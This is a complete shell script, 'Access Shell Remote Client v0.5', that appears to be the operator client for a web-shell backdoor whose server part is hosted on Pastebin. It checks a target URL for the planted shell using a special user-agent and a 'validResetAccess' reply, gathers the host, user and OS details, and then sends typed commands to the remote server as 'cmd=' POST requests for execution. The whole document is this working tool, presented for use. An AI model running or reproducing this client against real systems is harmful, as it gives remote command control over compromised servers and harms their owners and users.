Access Shell Remote Client

#!/bin/sh
# Access Shell Remote Client v0.5
# Developed by Fray117 - RESET
# Server Pastebin: https://pastebin.com/0fvDVAbk
clear
echo "Running on BASH${BASH_VERSION}"
command -v curl >/dev/null 2>&1 || { echo >&2 "Curl is Required but it's not installed.  Aborting.\n"; exit 1; }
NC='\033[0m'
GREEN='\e[38;5;82m'
CYAN='\e[38;5;45m'
RED='\e[38;5;196m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
LOGO(){
  printf "${GREEN}"
  printf "    ___                           \n"
  printf "   /   | _____________  __________\n"
  printf "  / /| |/ ___/ ___/ _ \/ ___/ ___/\n"
  printf " / ___ / /__/ /__/  __(__  |__  ) \n"
  printf "/_/  |_\___/\___/\___/____/____/  \n"
  printf "     ${YELLOW}Version 0.6${NC}    \n"
  printf "\n"
}
clear
EXEC(){
  read -p "$USER@$HOST $ " CMD
  if [[ $CMD = "exit" ]]; then
    exit
  elif [[ $CMD = "" ]]; then
    EXEC
  else
    curl --compressed $URI -d "cmd=$CMD";
    EXEC
  fi
}
CONNECT(){
  clear
  LOGO
  read -p 'Access URL: ' URI
  REQUEST=$(curl -A RMTID -I -s $URI)
  if [[ $REQUEST =~ "200 OK" ]]; then
    printf "${CYAN}$URI -> CONNECTED${NC}\n"
    CHECK=$(curl -A RMTID -sN $URI)
    if [[ "$CHECK" = "validResetAccess" ]]; then
      printf "${GREEN}$URI -> VALID${NC}\n"
    else
      printf "${RED}$URI -> FALSE${NC}\n"
      exit
    fi
  else
    printf "${RED}$URI -> FALSE${NC}\n"
    exit
  fi
  sleep 3
  clear
  LOGO
  HOST=$(curl -A SRVIP -sN $URI)
  USER=$(curl -sN $URI?usr)
  printf "OS: ";curl $URI?info
  EXEC
}
CONNECT